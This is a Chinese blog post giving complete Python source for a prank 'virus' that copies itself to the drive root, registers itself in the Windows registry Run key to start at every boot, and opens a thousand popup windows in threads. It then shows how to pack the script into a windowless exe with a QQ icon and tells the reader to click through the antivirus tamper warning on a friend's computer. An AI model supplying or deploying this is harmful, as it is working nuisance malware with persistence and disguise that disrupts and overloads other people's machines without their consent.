如何用python做无限弹窗_Python无限弹窗,开机启动,打包为exe程序

import tkinter as tk

import random,threading,win32api,win32con, shutil,os,sys

def Mymovefile(): #移动程序到当前分区下命名为 ARE_YOU_OKAY.exe。朋友问删了为什么还会执行。当然是因为有备份,玩够了就在分区下面删除这个吧。

if not os.path.exists(os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘): #看当前分区下有没有

shutil.copyfile(os.path.abspath(sys.argv[0]), os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘) # 移动文件

class AutoRun(): #设置为开机自启程序######《《《《第一次360会提示篡改程序,在朋友的电脑上帮他确定一下。以后开机都会执行》》》》

def __init__(self):

name = ‘lalalulala‘ # 要添加的项值名称

path = os.path.abspath(sys.argv[0])[0] + ‘:\\ARE_YOU_OKAY.exe‘ # 要添加的exe路径

KeyName = ‘Software\\Microsoft\\Windows\\CurrentVersion\\Run‘

key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, KeyName, 0, win32con.KEY_ALL_ACCESS)

win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)

win32api.RegCloseKey(key)

def Play(): #展示的效果

window = tk.Tk()

width = window.winfo_screenwidth()

height = window.winfo_screenheight()

a = random.randrange(20, width)

b = random.randrange(20, height)

window.title(‘给你看个小病毒‘)

window.geometry("400x100" + "+" + str(a) + "+" + str(b))

tk.Label(window,

text=‘你吃饭了吗?‘, # 标签的文字

bg=‘Red‘, # 背景颜色

font=(‘楷体‘, 17), # 字体和字体大小

width=466, height=4 # 标签长宽

).pack() # 固定窗口位置

window.mainloop()

threads = []

if __name__=="__main__":

Mymovefile()

AutoRun()

for i in range(1000): #依电脑性能调值大;千万不要 while True:

t = threading.Thread(target=Play)

t.start()

程序打包

1,Python 脚本打包成可以直接双击运行的 .exe 文件

win+R 输入powershell,

pip3 install pyinstaller

pip install pypiwin32

pyinstaller -F -i qq.ico -w curl.py #-F指定exe程序,-i icon图标,-w,无控制台

可用图标转换器更换一下图标

20200407205859634114.png

原文地址:https://blog.51cto.com/982439641/2485363

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值